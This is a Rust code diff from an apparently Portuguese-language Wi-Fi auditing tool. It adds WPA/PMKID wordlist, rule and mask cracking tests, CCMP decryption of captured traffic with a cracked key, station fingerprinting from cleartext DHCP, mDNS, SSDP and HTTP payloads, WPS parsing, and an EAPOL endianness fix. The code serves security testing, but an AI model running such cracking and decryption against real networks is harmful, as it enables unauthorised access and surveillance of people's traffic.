use crate::testutil::{handshake_frames, synthetic_handshake};
use std::io::Cursor;
/// Mede só o tempo de descomprimir o dicionário embutido (gzip, ~39MB -> ~101MB),
/// que acontece uma vez, na primeira chamada a `default_wordlist()`.
#[test]
#[ignore]
fn bench_default_wordlist_decompress() {
let start = Instant::now();
let text = default_wordlist();
let elapsed = start.elapsed();
eprintln!(
"descomprimiu {} linhas em {:.2?}",
text.lines().count(),
elapsed
);
}
/// Não é teste de verdade — mede candidatos/segundo pra guiar otimização
/// de performance. `cargo test --release -p sabia-core -- --ignored
/// --nocapture bench_crack_throughput`.
#[test]
#[ignore]
fn bench_crack_throughput() {
let (m1, m2) = handshake_frames("IEEE", "senha-que-nao-esta-na-lista", 2, false);
let hs = synthetic_handshake("IEEE", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &m1, &m2);
let target = CrackTarget::from_handshake(&hs).expect("alvo");
// Só uma fatia: a lista inteira (9,7 milhões) levaria minutos — o
// objetivo aqui é medir candidatos/s, não o tempo total.
let sample: String = default_wordlist()
.lines()
.take(500_000)
.collect::<Vec<_>>()
.join("\n");
let start = Instant::now();
let report = crack_reader(&target, Cursor::new(sample.as_bytes()), false, |_| {});
let elapsed = start.elapsed();
let per_sec = report.tried as f64 / elapsed.as_secs_f64();
eprintln!(
"{} candidatos em {:.2?} = {:.1}/s",
report.tried, elapsed, per_sec
);
}
#[test]
fn pbkdf2_matches_rfc6070_vector() {
let out = pbkdf2_sha1(b"password", b"salt", 1, 20);
@@ -386,6 +629,7 @@ mod tests {
let report = crack_reader(
&target,
Cursor::new(b"errada\noutra\npassword\nnunca\n".to_vec()),
false,
|_| progress_calls += 1,
);
assert_eq!(report.password.as_deref(), Some("password"));
@@ -400,7 +644,12 @@ mod tests {
let hs = synthetic_handshake("IEEE", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &m1, &[]);
let target = CrackTarget::from_handshake(&hs).expect("alvo");
assert_eq!(target.method(), "PMKID");
let report = crack_reader(&target, Cursor::new(b"nada\npassword\n".to_vec()), |_| {});
let report = crack_reader(
&target,
Cursor::new(b"nada\npassword\n".to_vec()),
false,
|_| {},
);
assert_eq!(report.password.as_deref(), Some("password"));
}
@@ -417,10 +666,46 @@ mod tests {
let (m1, m2) = handshake_frames("IEEE", "senha-correta", 2, false);
let hs = synthetic_handshake("IEEE", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &m1, &m2);
let target = CrackTarget::from_handshake(&hs).expect("alvo");
let report = crack_reader(&target, Cursor::new(b"senha-errada\n".to_vec()), |_| {});
let report = crack_reader(
&target,
Cursor::new(b"senha-errada\n".to_vec()),
false,
|_| {},
);
assert!(report.password.is_none());
}
#[test]
fn rules_find_a_mutated_variant_not_present_verbatim() {
// A senha de verdade é "wifi12345" — não está na lista, mas é um
// sufixo numérico de "wifi" que `rules::expand` gera.
let (m1, m2) = handshake_frames("IEEE", "wifi12345", 2, false);
let hs = synthetic_handshake("IEEE", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &m1, &m2);
let target = CrackTarget::from_handshake(&hs).expect("alvo");
let without_rules = crack_reader(&target, Cursor::new(b"wifi\n".to_vec()), false, |_| {});
assert!(without_rules.password.is_none());
let with_rules = crack_reader(&target, Cursor::new(b"wifi\n".to_vec()), true, |_| {});
assert_eq!(with_rules.password.as_deref(), Some("wifi12345"));
}
#[test]
fn mask_crack_finds_a_numeric_password() {
// Máscara minúscula de propósito (só 10 combinações): cada candidato
// é um PBKDF2 de 4096 iterações, pesado até em paralelo — um brute
// force de verdade (ex.: ?d×8, 100 milhões) é coisa pra uso real,
// não pra um teste unitário que roda em `cargo test` toda hora.
let (m1, m2) = handshake_frames("IEEE", "wifiabc7", 2, false);
let hs = synthetic_handshake("IEEE", "00:11:22:33:44:55", "66:77:88:99:aa:bb", &m1, &m2);
let target = CrackTarget::from_handshake(&hs).expect("alvo");
let mask = Mask::parse("wifiabc?d").expect("máscara válida");
assert_eq!(mask.total(), Some(10));
let report = crack_mask(&target, &mask, |_| {});
assert_eq!(report.password.as_deref(), Some("wifiabc7"));
assert!(report.tried > 0);
}
fn hex_bytes(s: &str) -> Vec<u8> {
(0..s.len())
.step_by(2)
+807 -1
View File
@@ -79,7 +79,33 @@ pub struct ManagementInfo {
pub akm: Vec<String>,
pub wps: bool,
pub pmf: bool,
pub pmf_required: bool,
pub country: Option<String>,
pub beacon_interval: Option<u16>,
pub privacy: bool,
pub phy: Vec<String>,
pub width_mhz: Option<u16>,
pub wps_locked: Option<bool>,
pub wps_version: Option<String>,
pub wps_manufacturer: Option<String>,
pub wps_model: Option<String>,
pub wps_model_number: Option<String>,
pub wps_device_name: Option<String>,
pub wps_serial: Option<String>,
}
/// Pistas de identidade tiradas de payload em claro (DHCP, mDNS/DNS, SSDP,
/// HTTP e ARP). Redes criptografadas não expõem nada disso; nesse caso os
/// campos ficam vazios e a UI mostra só MAC, OUI e probes.
#[derive(Debug, Clone, Default)]
pub struct PayloadInfo {
pub ip: Option<String>,
pub hostname: Option<String>,
pub os: Option<String>,
pub device: Option<String>,
pub manufacturer: Option<String>,
pub model: Option<String>,
pub service: Option<String>,
}
#[derive(Debug, Clone, Copy, Default)]
@@ -323,6 +349,13 @@ impl<'a> Frame<'a> {
let mut wpa1_present = false;
let mut rsn = RsnInfo::default();
if matches!(self.kind, FrameKind::Beacon | FrameKind::ProbeResponse)
&& self.body.len() >= 24 + 12
{
info.beacon_interval = Some(u16::from_le_bytes([self.body[24 + 8], self.body[24 + 9]]));
}
info.privacy = privacy;
let mut i = 0usize;
while i + 2 <= ies.len() {
let tag = ies[i];
@@ -346,15 +379,44 @@ impl<'a> Frame<'a> {
7 if len >= 2 => {
info.country = Some(String::from_utf8_lossy(&val[0..2]).into_owned())
}
45 => {
add_phy(&mut info.phy, "n");
if info.width_mhz.is_none() {
info.width_mhz = Some(20);
}
}
48 => {
rsn_present = true;
if let Some(parsed) = parse_rsn(val) {
rsn = parsed;
}
}
61 if len >= 2 => {
if info.width_mhz.is_none() || info.width_mhz == Some(20) {
info.width_mhz = Some(if val[1] & 0x04 != 0 { 40 } else { 20 });
}
}
191 => add_phy(&mut info.phy, "ac"),
192 if !val.is_empty() => {
add_phy(&mut info.phy, "ac");
info.width_mhz = Some(match val[0] {
1 => 80,
2 => 160,
3 => 80,
_ => info.width_mhz.unwrap_or(20),
});
}
221 if len >= 4 && val[0..3] == [0x00, 0x50, 0xF2] => match val[3] {
1 => wpa1_present = true,
4 => info.wps = true,
4 => {
info.wps = true;
parse_wps(val, &mut info);
}
_ => {}
},
255 if !val.is_empty() => match val[0] {
35 | 36 => add_phy(&mut info.phy, "ax"),
106 | 108 => add_phy(&mut info.phy, "be"),
_ => {}
},
_ => {}
@@ -363,6 +425,7 @@ impl<'a> Frame<'a> {
}
info.pmf = rsn.caps & 0x00c0 != 0;
info.pmf_required = rsn.caps & 0x0040 != 0;
if rsn_present {
info.cipher = rsn.cipher.map(|c| c.label().to_string());
info.akm = rsn.akm.labels();
@@ -405,6 +468,598 @@ impl<'a> Frame<'a> {
let end = (start + 4 + len).min(self.body.len());
self.body.get(start..end)
}
/// Tenta identificar a estação por payload não criptografado. Só olha
/// dados em claro; em WPA2/WPA3 o conteúdo é opaco e retorna vazio — a
/// menos que a senha já tenha sido quebrada (ver [`Self::ccmp_payload`]
/// + [`payload_info_from_llc`]).
pub fn payload_info(&self) -> PayloadInfo {
if self.protected || !self.kind.is_data() {
return PayloadInfo::default();
}
let Some(payload) = self.body.get(self.header_len..) else {
return PayloadInfo::default();
};
payload_info_from_llc(payload)
}
/// TID do campo QoS Control, quando o quadro é QoS Data. `None` pra
/// dados não-QoS (o nonce do CCMP usa TID 0 nesse caso).
pub fn qos_tid(&self) -> Option<u8> {
if !self.kind.is_data() {
return None;
}
let subtype = (self.fc >> 4) & 0b1111;
if subtype & 0x8 == 0 {
return None;
}
let mut offset = 24;
if self.to_ds && self.from_ds {
offset += 6;
}
self.body.get(offset).map(|b| b & 0x0f)
}
/// Decifra um quadro de dados CCMP com a TK já derivada (handshake
/// quebrado) e devolve o LLC/SNAP + payload em claro, no mesmo formato
/// que um quadro não protegido teria. `None` se o quadro não for CCMP
/// protegido ou os bytes não baterem com um cabeçalho CCMP válido.
pub fn ccmp_payload(&self, tk: &[u8; 16]) -> Option<Vec<u8>> {
if !self.protected || !self.kind.is_data() {
return None;
}
let transmitter = self.addr2?;
let tid = self.qos_tid().unwrap_or(0);
let body = self.body.get(self.header_len..)?;
crate::ccmp::decrypt_data(tk, &transmitter, tid, body)
}
}
/// LLC/SNAP (AA AA 03 00 00 00 + ethertype) seguido do payload em claro —
/// compartilhado entre quadros nunca cifrados e quadros CCMP já decifrados
/// com a TK conhecida.
pub fn payload_info_from_llc(payload: &[u8]) -> PayloadInfo {
let mut info = PayloadInfo::default();
let Some(llc) = payload.get(..8) else {
return info;
};
if llc[0] != 0xAA || llc[1] != 0xAA || llc[2] != 0x03 {
return info;
}
let ethertype = u16::from_be_bytes([llc[6], llc[7]]);
let Some(rest) = payload.get(8..) else {
return info;
};
match ethertype {
0x0806 => parse_arp(rest, &mut info),
0x0800 => parse_ipv4(rest, &mut info),
_ => {}
}
info
}
fn ipv4_string(bytes: &[u8]) -> Option<String> {
(bytes.len() >= 4).then(|| format!("{}.{}.{}.{}", bytes[0], bytes[1], bytes[2], bytes[3]))
}
fn private_ip(ip: &str) -> bool {
let mut parts = ip.split('.');
let (Some(a), Some(b)) = (
parts.next().and_then(|p| p.parse::<u8>().ok()),
parts.next().and_then(|p| p.parse::<u8>().ok()),
) else {
return false;
};
a == 10
|| (a == 172 && (16..=31).contains(&b))
|| (a == 192 && b == 168)
|| (a == 169 && b == 254)
|| (a == 100 && (64..=127).contains(&b))
}
fn parse_arp(payload: &[u8], info: &mut PayloadInfo) {
if payload.len() < 28
|| u16::from_be_bytes([payload[0], payload[1]]) != 1
|| u16::from_be_bytes([payload[2], payload[3]]) != 0x0800
|| payload[4] != 6
|| payload[5] != 4
{
return;
}
if let Some(ip) = ipv4_string(&payload[14..18]) {
if ip != "0.0.0.0" {
info.ip = Some(ip);
}
}
}
fn parse_ipv4(payload: &[u8], info: &mut PayloadInfo) {
if payload.len() < 20 || payload[0] >> 4 != 4 {
return;
}
let ihl = ((payload[0] & 0x0f) as usize) * 4;
if ihl < 20 || payload.len() < ihl {
return;
}
let protocol = payload[9];
let src = ipv4_string(&payload[12..16]);
let dst = ipv4_string(&payload[16..20]);
if let Some(ip) = &src {
if private_ip(ip) {
info.ip = Some(ip.clone());
}
}
match protocol {
17 => {
let udp = &payload[ihl..];
if udp.len() < 8 {
return;
}
let sport = u16::from_be_bytes([udp[0], udp[1]]);
let dport = u16::from_be_bytes([udp[2], udp[3]]);
let data = &udp[8..];
if sport == 68 || dport == 67 {
parse_dhcp(data, info);
} else if sport == 5353 || dport == 5353 {
parse_dns(data, info, true);
} else if sport == 53 || dport == 53 {
parse_dns(data, info, false);
} else if sport == 1900 || dport == 1900 {
parse_ssdp(data, info);
} else if let Some(ip) = &dst {
if info.ip.is_none() && private_ip(ip) {
info.ip = Some(ip.clone());
}
}
}
6 => {
let tcp = &payload[ihl..];
if tcp.len() < 20 {
return;
}
let data_offset = ((tcp[12] >> 4) as usize) * 4;
let sport = u16::from_be_bytes([tcp[0], tcp[1]]);
let dport = u16::from_be_bytes([tcp[2], tcp[3]]);
if data_offset >= 20 && tcp.len() > data_offset {
let data = &tcp[data_offset..];
if matches!(sport, 80 | 8080 | 8000 | 8888)
|| matches!(dport, 80 | 8080 | 8000 | 8888)
{
parse_http(data, info);
}
}
}
_ => {}
}
}
fn parse_dhcp(data: &[u8], info: &mut PayloadInfo) {
if data.len() < 240 || data[236..240] != [0x63, 0x82, 0x53, 0x63] {
return;
}
let mut requested_ip = None;
let mut message_type = None;
let mut pos = 240usize;
while pos < data.len() {
let code = data[pos];
if code == 255 {
break;
}
if code == 0 {
pos += 1;
continue;
}
if pos + 1 >= data.len() {
break;
}
let len = data[pos + 1] as usize;
let start = pos + 2;
if start + len > data.len() {
break;
}
let val = &data[start..start + len];
match code {
12 => info.hostname = Some(String::from_utf8_lossy(val).trim().to_string()),
50 if len >= 4 => requested_ip = ipv4_string(val),
53 if len == 1 => message_type = Some(val[0]),
60 => {
let vendor = String::from_utf8_lossy(val).trim().to_string();
if let Some(os) = os_from_text(&vendor) {
info.os = Some(os);
}
if let Some(device) = device_from_text(&vendor) {
info.device = Some(device);
}
}
81 => {
let name = String::from_utf8_lossy(val).trim_matches('\0').to_string();
if !name.is_empty() {
info.hostname = Some(name.split('\0').next().unwrap_or(&name).to_string());
}
}
_ => {}
}
pos = start + len;
}
if message_type == Some(3) {
if let Some(ip) = requested_ip {
if ip != "0.0.0.0" {
info.ip = Some(ip);
}
}
}
if info.hostname.as_deref() == Some("") {
info.hostname = None;
}
if let Some(hostname) = info.hostname.as_deref() {
if info.device.is_none() {
info.device = device_from_text(hostname);
}
if info.os.is_none() {
info.os = os_from_text(hostname);
}
}
}
fn dns_name(data: &[u8], mut pos: usize) -> Option<(String, usize)> {
let mut labels = Vec::new();
let mut jumps = 0usize;
let mut end = pos;
let mut jumped = false;
while pos < data.len() && jumps < 16 {
let len = data[pos];
if len == 0 {
if !jumped {
end = pos + 1;
}
break;
}
if len & 0xc0 == 0xc0 {
if pos + 1 >= data.len() {
return None;
}
let ptr = (((len & 0x3f) as usize) << 8) | data[pos + 1] as usize;
if !jumped {
end = pos + 2;
}
pos = ptr;
jumps += 1;
jumped = true;
continue;
}
let len = len as usize;
if pos + 1 + len > data.len() {
return None;
}
labels.push(String::from_utf8_lossy(&data[pos + 1..pos + 1 + len]).into_owned());
pos += 1 + len;
if !jumped {
end = pos;
}
}
if labels.is_empty() {
None
} else {
Some((labels.join("."), end))
}
}
fn parse_dns(data: &[u8], info: &mut PayloadInfo, mdns: bool) {
if data.len() < 12 {
return;
}
let qd = u16::from_be_bytes([data[4], data[5]]) as usize;
let an = u16::from_be_bytes([data[6], data[7]]) as usize;
let mut pos = 12usize;
for _ in 0..qd {
let Some((name, next)) = dns_name(data, pos) else {
return;
};
pos = next + 4;
apply_dns_name(&name, info, mdns);
}
for _ in 0..an.min(24) {
let Some((name, next)) = dns_name(data, pos) else {
return;
};
if next + 10 > data.len() {
return;
}
let kind = u16::from_be_bytes([data[next], data[next + 1]]);
let rdlen = u16::from_be_bytes([data[next + 8], data[next + 9]]) as usize;
let rdata = next + 10;
if rdata + rdlen > data.len() {
return;
}
if kind == 1 && rdlen == 4 {
if let Some(ip) = ipv4_string(&data[rdata..rdata + 4]) {
if private_ip(&ip) && (info.ip.is_none() || info.hostname.is_none()) {
info.ip = Some(ip);
}
}
}
if kind == 16 {
parse_txt(&data[rdata..rdata + rdlen], info);
}
apply_dns_name(&name, info, mdns);
pos = rdata + rdlen;
}
if let Some(ip) = &info.ip {
if !private_ip(ip) {
info.ip = None;
}
}
}
fn apply_dns_name(name: &str, info: &mut PayloadInfo, mdns: bool) {
let lower = name.to_ascii_lowercase();
if let Some(service) = lower.strip_prefix('_') {
info.service = Some(service.split('.').next().unwrap_or(service).to_string());
if let Some(device) = device_from_service(&lower) {
info.device = Some(device);
}
return;
}
if mdns && lower.ends_with(".local") {
let host = name.split('.').next().unwrap_or(name);
if !host.is_empty() {
info.hostname = Some(host.to_string());
if let Some(device) = device_from_text(host) {
info.device = Some(device);
}
if let Some(os) = os_from_text(host) {
info.os = Some(os);
}
}
}
}
fn parse_txt(data: &[u8], info: &mut PayloadInfo) {
let mut pos = 0usize;
while pos < data.len() {
let len = data[pos] as usize;
pos += 1;
if pos + len > data.len() {
break;
}
let txt = String::from_utf8_lossy(&data[pos..pos + len]);
pos += len;
let mut parts = txt.splitn(2, '=');
let key = parts.next().unwrap_or("").to_ascii_lowercase();
let value = parts.next().unwrap_or("");
match key.as_str() {
"model" | "md" => info.model = Some(value.to_string()),
"os" => info.os = Some(value.to_string()),
"device" | "product" => info.device = Some(value.to_string()),
_ => {}
}
}
}
fn parse_ssdp(data: &[u8], info: &mut PayloadInfo) {
let text = String::from_utf8_lossy(data);
for line in text.lines() {
let Some((key, value)) = line.split_once(':') else {
continue;
};
let key = key.trim().to_ascii_uppercase();
let value = value.trim();
match key.as_str() {
"SERVER" | "USER-AGENT" => {
if let Some(os) = os_from_text(value) {
info.os = Some(os);
}
if let Some(device) = device_from_text(value) {
info.device = Some(device);
}
if let Some(manufacturer) = manufacturer_from_text(value) {
info.manufacturer = Some(manufacturer);
}
info.model = info.model.take().or_else(|| {
value
.split_whitespace()
.find(|part| part.contains('/') && !part.contains("UPnP"))
.map(str::to_string)
});
}
"ST" | "NT" => {
let lower = value.to_ascii_lowercase();
if let Some(device) = device_from_service(&lower) {
info.device = Some(device);
}
info.service = info
.service
.take()
.or_else(|| Some(value.rsplit(':').next().unwrap_or(value).to_string()));
}
_ => {}
}
}
}
fn parse_http(data: &[u8], info: &mut PayloadInfo) {
let text = String::from_utf8_lossy(data);
if !(text.starts_with("GET ") || text.starts_with("POST ") || text.starts_with("HEAD ")) {
return;
}
for line in text.lines().take(64) {
let Some((key, value)) = line.split_once(':') else {
continue;
};
let key = key.trim().to_ascii_lowercase();
let value = value.trim();
match key.as_str() {
"user-agent" | "server" => {
if let Some(os) = os_from_text(value) {
info.os = Some(os);
}
if let Some(device) = device_from_text(value) {
info.device = Some(device);
}
}
"host" if info.hostname.is_none() => {
info.hostname = Some(value.split(':').next().unwrap_or(value).to_string());
}
_ => {}
}
}
}
pub(crate) fn os_from_text(text: &str) -> Option<String> {
let s = text.to_ascii_lowercase();
let os = if s.contains("windows nt 10") || s.contains("windows 10") || s.contains("windows 11")
{
"Windows 10/11"
} else if s.contains("windows") || s.contains("microsoft") {
"Windows"
} else if s.contains("ipados") || s.contains("ipad") {
"iPadOS"
} else if s.contains("iphone")
|| s.contains("ios")
|| s.contains("darwin") && s.contains("mobile")
{
"iOS"
} else if s.contains("mac os x") || s.contains("macintosh") || s.contains("macos") {
"macOS"
} else if s.contains("android") {
"Android"
} else if s.contains("cros") || s.contains("chromeos") {
"ChromeOS"
} else if s.contains("tizen") {
"Tizen"
} else if s.contains("webos") {
"webOS"
} else if s.contains("roku") {
"Roku OS"
} else if s.contains("linux")
|| s.contains("ubuntu")
|| s.contains("debian")
|| s.contains("raspbian")
{
"Linux"
} else {
return None;
};
Some(os.to_string())
}
pub(crate) fn device_from_text(text: &str) -> Option<String> {
let s = text.to_ascii_lowercase();
let device = if s.contains("iphone")
|| s.contains("galaxy")
|| s.contains("pixel")
|| s.contains("redmi")
|| s.contains("smartphone")
|| s.contains("phone")
|| s.contains("moto ")
{
"smartphone"
} else if s.contains("ipad") || s.contains("tablet") {
"tablet"
} else if s.contains("macbook")
|| s.contains("thinkpad")
|| s.contains("laptop")
|| s.contains("notebook")
{
"laptop"
} else if s.contains("printer")
|| s.contains("laserjet")
|| s.contains("officejet")
|| s.contains("mfc-")
{
"impressora"
} else if s.contains("chromecast")
|| s.contains("appletv")
|| s.contains("fire tv")
|| s.contains("firetv")
|| s.contains("roku")
|| s.contains("smart tv")
|| s.contains("bravia")
|| s.contains("tv")
{
"TV/streaming"
} else if s.contains("camera") || s.contains("câmera") || s.contains("ipc") {
"câmera"
} else if s.contains("watch") {
"wearable"
} else if s.contains("echo")
|| s.contains("alexa")
|| s.contains("google home")
|| s.contains("nest")
{
"assistente"
} else if s.contains("raspberry") {
"SBC"
} else if s.contains("esp32")
|| s.contains("esp8266")
|| s.contains("shelly")
|| s.contains("sonoff")
|| s.contains("tuya")
{
"IoT"
} else if s.contains("desktop")
|| s.contains("laptop")
|| s.contains("windows")
|| s.contains("pc")
{
"computador"
} else {
return None;
};
Some(device.to_string())
}
fn device_from_service(service: &str) -> Option<String> {
let s = service.to_ascii_lowercase();
let device = if s.contains("_airplay")
|| s.contains("_raop")
|| s.contains("_googlecast")
|| s.contains("_spotify-connect")
{
"TV/streaming"
} else if s.contains("_ipp") || s.contains("_printer") || s.contains("_pdl-datastream") {
"impressora"
} else if s.contains("_smb") || s.contains("_workstation") || s.contains("_device-info") {
"computador"
} else if s.contains("_homekit") || s.contains("_hap") {
"IoT"
} else if s.contains("_ssh") || s.contains("_sftp-ssh") {
"servidor"
} else {
return None;
};
Some(device.to_string())
}
fn manufacturer_from_text(text: &str) -> Option<String> {
let s = text.to_ascii_lowercase();
let name = if s.contains("apple") {
"Apple"
} else if s.contains("samsung") {
"Samsung"
} else if s.contains("microsoft") || s.contains("windows") {
"Microsoft"
} else if s.contains("google") {
"Google"
} else if s.contains("sony") {
"Sony"
} else if s.contains("lg electronics") || s.starts_with("lg ") {
"LG"
} else if s.contains("roku") {
"Roku"
} else if s.contains("huawei") {
"Huawei"
} else if s.contains("xiaomi") {
"Xiaomi"
} else if s.contains("synology") {
"Synology"
} else if s.contains("raspberry") {
"Raspberry Pi"
} else {
return None;
};
Some(name.to_string())
}
/// Mantido para chamadores antigos: há um EAPOL neste quadro?
@@ -441,6 +1096,47 @@ fn classify(rsn_present: bool, wpa1_present: bool, privacy: bool, rsn: RsnInfo)
Security::Open
}
fn add_phy(phy: &mut Vec<String>, value: &str) {
if !phy.iter().any(|p| p == value) {
phy.push(value.to_string());
}
}
/// Information Element de WPS (vendor 00:50:f2 tipo 4). O conteúdo começa
/// com a versão do protocolo e segue em atributos TLV de 16 bits.
fn parse_wps(val: &[u8], info: &mut ManagementInfo) {
if val.len() < 6 {
return;
}
let version = u16::from_be_bytes([val[4], val[5]]);
info.wps_version = Some(match version {
0x10 => "1.0".into(),
0x11 => "2.0".into(),
other => format!("0x{other:04x}"),
});
let mut pos = 6usize;
while pos + 4 <= val.len() {
let attr = u16::from_be_bytes([val[pos], val[pos + 1]]);
let len = u16::from_be_bytes([val[pos + 2], val[pos + 3]]) as usize;
let start = pos + 4;
if start + len > val.len() {
break;
}
let data = &val[start..start + len];
let text = || String::from_utf8_lossy(data).trim().to_string();
match attr {
0x1011 => info.wps_device_name = Some(text()),
0x1021 => info.wps_manufacturer = Some(text()),
0x1023 => info.wps_model = Some(text()),
0x1024 => info.wps_model_number = Some(text()),
0x1042 => info.wps_serial = Some(text()),
0x1057 if len == 1 => info.wps_locked = Some(data[0] != 0),
_ => {}
}
pos = start + len;
}
}
fn parse_rsn(val: &[u8]) -> Option<RsnInfo> {
if val.len() < 8 {
return None;
@@ -665,6 +1361,116 @@ mod tests {
assert!(parsed.eapol().is_none());
}
fn data_with_ethertype(ethertype: u16, payload: &[u8]) -> Vec<u8> {
let mut f = Vec::new();
f.extend_from_slice(&0x0108u16.to_le_bytes()); // data, ToDS
f.extend_from_slice(&0u16.to_le_bytes());
f.extend_from_slice(&mac(0x11)); // addr1 = AP
f.extend_from_slice(&mac(0x22)); // addr2 = cliente
f.extend_from_slice(&mac(0x11)); // addr3 = AP
f.extend_from_slice(&[0u8; 2]);
f.extend_from_slice(&[0xAA, 0xAA, 0x03, 0, 0, 0]);
f.extend_from_slice(&ethertype.to_be_bytes());
f.extend_from_slice(payload);
f
}
fn data_with_payload(payload: &[u8]) -> Vec<u8> {
data_with_ethertype(0x0800, payload)
}
#[test]
fn extracts_ip_from_arp() {
let mut arp = Vec::new();
arp.extend_from_slice(&1u16.to_be_bytes());
arp.extend_from_slice(&0x0800u16.to_be_bytes());
arp.push(6);
arp.push(4);
arp.extend_from_slice(&1u16.to_be_bytes());
arp.extend_from_slice(&mac(0x22));
arp.extend_from_slice(&[192, 168, 1, 42]);
arp.extend_from_slice(&[0u8; 6]);
arp.extend_from_slice(&[192, 168, 1, 1]);
let frame = data_with_ethertype(0x0806, &arp);
let parsed = parse(&frame).expect("frame");
assert_eq!(parsed.payload_info().ip.as_deref(), Some("192.168.1.42"));
}
#[test]
fn extracts_hostname_and_os_from_mdns() {
let mut dns = vec![0u8; 12];
dns[5] = 1; // qdcount
for label in ["Lucass-iPhone", "local"] {
dns.push(label.len() as u8);
dns.extend_from_slice(label.as_bytes());
}
dns.push(0);
dns.extend_from_slice(&1u16.to_be_bytes());
dns.extend_from_slice(&1u16.to_be_bytes());
let mut udp = Vec::new();
udp.extend_from_slice(&5353u16.to_be_bytes());
udp.extend_from_slice(&5353u16.to_be_bytes());
udp.extend_from_slice(&((8 + dns.len()) as u16).to_be_bytes());
udp.extend_from_slice(&[0u8; 2]);
udp.extend_from_slice(&dns);
let mut ip = vec![0x45, 0];
ip.extend_from_slice(&((20 + udp.len()) as u16).to_be_bytes());
ip.extend_from_slice(&[0u8; 5]);
ip.push(17);
ip.extend_from_slice(&[0u8; 2]);
ip.extend_from_slice(&[192, 168, 1, 7]);
ip.extend_from_slice(&[224, 0, 0, 251]);
ip.extend_from_slice(&udp);
let frame = data_with_payload(&ip);
let parsed = parse(&frame).expect("frame");
let info = parsed.payload_info();
assert_eq!(info.hostname.as_deref(), Some("Lucass-iPhone"));
assert_eq!(info.os.as_deref(), Some("iOS"));
assert_eq!(info.device.as_deref(), Some("smartphone"));
assert_eq!(info.ip.as_deref(), Some("192.168.1.7"));
}
#[test]
fn extracts_hostname_and_requested_ip_from_dhcp() {
let mut bootp = vec![0u8; 240];
bootp[0] = 1;
bootp[236..240].copy_from_slice(&[0x63, 0x82, 0x53, 0x63]);
bootp.extend_from_slice(&[53, 1, 3]);
bootp.extend_from_slice(&[50, 4, 192, 168, 1, 50]);
bootp.extend_from_slice(&[12, 7]);
bootp.extend_from_slice(b"pixel-7");
bootp.extend_from_slice(&[60, 15]);
bootp.extend_from_slice(b"android-dhcp-13");
bootp.push(255);
let mut udp = Vec::new();
udp.extend_from_slice(&68u16.to_be_bytes());
udp.extend_from_slice(&67u16.to_be_bytes());
udp.extend_from_slice(&((8 + bootp.len()) as u16).to_be_bytes());
udp.extend_from_slice(&[0u8; 2]);
udp.extend_from_slice(&bootp);
let mut ip = vec![0x45, 0];
ip.extend_from_slice(&((20 + udp.len()) as u16).to_be_bytes());
ip.extend_from_slice(&[0u8; 5]);
ip.push(17);
ip.extend_from_slice(&[0u8; 2]);
ip.extend_from_slice(&[0, 0, 0, 0]);
ip.extend_from_slice(&[255, 255, 255, 255]);
ip.extend_from_slice(&udp);
let frame = data_with_payload(&ip);
let parsed = parse(&frame).expect("frame");
let info = parsed.payload_info();
assert_eq!(info.hostname.as_deref(), Some("pixel-7"));
assert_eq!(info.os.as_deref(), Some("Android"));
assert_eq!(info.device.as_deref(), Some("smartphone"));
assert_eq!(info.ip.as_deref(), Some("192.168.1.50"));
}
#[test]
fn parses_mac_strings() {
assert_eq!(
+40 -7
View File
@@ -55,7 +55,14 @@ pub fn parse(buf: &[u8]) -> Option<EapolKey> {
if descriptor_type != 2 && descriptor_type != 254 {
return None;
}
let key_info = u16::from_le_bytes([frame[5], frame[6]]);
// Todo campo multi-byte do descritor EAPOL-Key (Key Information, Key
// Length, Replay Counter, Key Data Length) é big-endian — é 802.1X,
// segue a mesma ordem de rede do cabeçalho EAPOL em si. Ler como
// little-endian (bug anterior) embaralhava os bits de ack/mic/secure e
// fazia praticamente todo handshake real cair em message=0, descartado
// silenciosamente — só não aparecia nos testes porque o gerador de
// quadro sintético cometia o mesmo engano, simetricamente.
let key_info = u16::from_be_bytes([frame[5], frame[6]]);
let key_version = (key_info & 0x0007) as u8;
let pairwise = key_info & KEY_INFO_PAIRWISE != 0;
let ack = key_info & KEY_INFO_ACK != 0;
@@ -75,12 +82,12 @@ pub fn parse(buf: &[u8]) -> Option<EapolKey> {
0
};
let replay_counter = u64::from_le_bytes(frame[9..17].try_into().ok()?);
let replay_counter = u64::from_be_bytes(frame[9..17].try_into().ok()?);
let mut nonce = [0u8; 32];
nonce.copy_from_slice(&frame[17..49]);
let mut mic_bytes = [0u8; 16];
mic_bytes.copy_from_slice(&frame[MIC_OFFSET..MIC_OFFSET + 16]);
let key_data_len = u16::from_le_bytes([frame[97], frame[98]]) as usize;
let key_data_len = u16::from_be_bytes([frame[97], frame[98]]) as usize;
let data_end = KEY_DATA_OFFSET.checked_add(key_data_len)?;
if data_end > frame.len() {
return None;
@@ -144,14 +151,14 @@ mod tests {
f[1] = EAPOL_TYPE_KEY;
f[2..4].copy_from_slice(&((total - 4) as u16).to_be_bytes());
f[4] = 2; // RSN descriptor
f[5..7].copy_from_slice(&key_info.to_le_bytes());
f[7..9].copy_from_slice(&16u16.to_le_bytes());
f[9..17].copy_from_slice(&1u64.to_le_bytes());
f[5..7].copy_from_slice(&key_info.to_be_bytes());
f[7..9].copy_from_slice(&16u16.to_be_bytes());
f[9..17].copy_from_slice(&1u64.to_be_bytes());
f[17..49].copy_from_slice(&nonce);
for (i, b) in f[MIC_OFFSET..MIC_OFFSET + 16].iter_mut().enumerate() {
*b = i as u8;
}
f[97..99].copy_from_slice(&(key_data.len() as u16).to_le_bytes());
f[97..99].copy_from_slice(&(key_data.len() as u16).to_be_bytes());
f[KEY_DATA_OFFSET..].copy_from_slice(key_data);
f
}
@@ -176,6 +183,32 @@ mod tests {
}
}
/// Byte a byte, independente do helper `key_frame` (que usa a mesma
/// codificação do parser): confere que um quadro Mensagem 1 real — key
/// info 0x008a (Ack=1, versão CCMP=2, pairwise), big-endian como é no
/// fio de verdade — é lido como message=1/key_version=2, não message=0.
/// É exatamente o valor citado pela documentação de ferramentas de
/// quebra de WPA pra mensagem 1 com CCMP.
#[test]
fn parses_real_wire_message1_key_info_as_big_endian() {
let mut frame = vec![0u8; MIN_KEY_FRAME_LEN];
frame[0] = 2; // versão EAPOL
frame[1] = EAPOL_TYPE_KEY;
frame[2..4].copy_from_slice(&((MIN_KEY_FRAME_LEN - 4) as u16).to_be_bytes());
frame[4] = 2; // descritor RSN
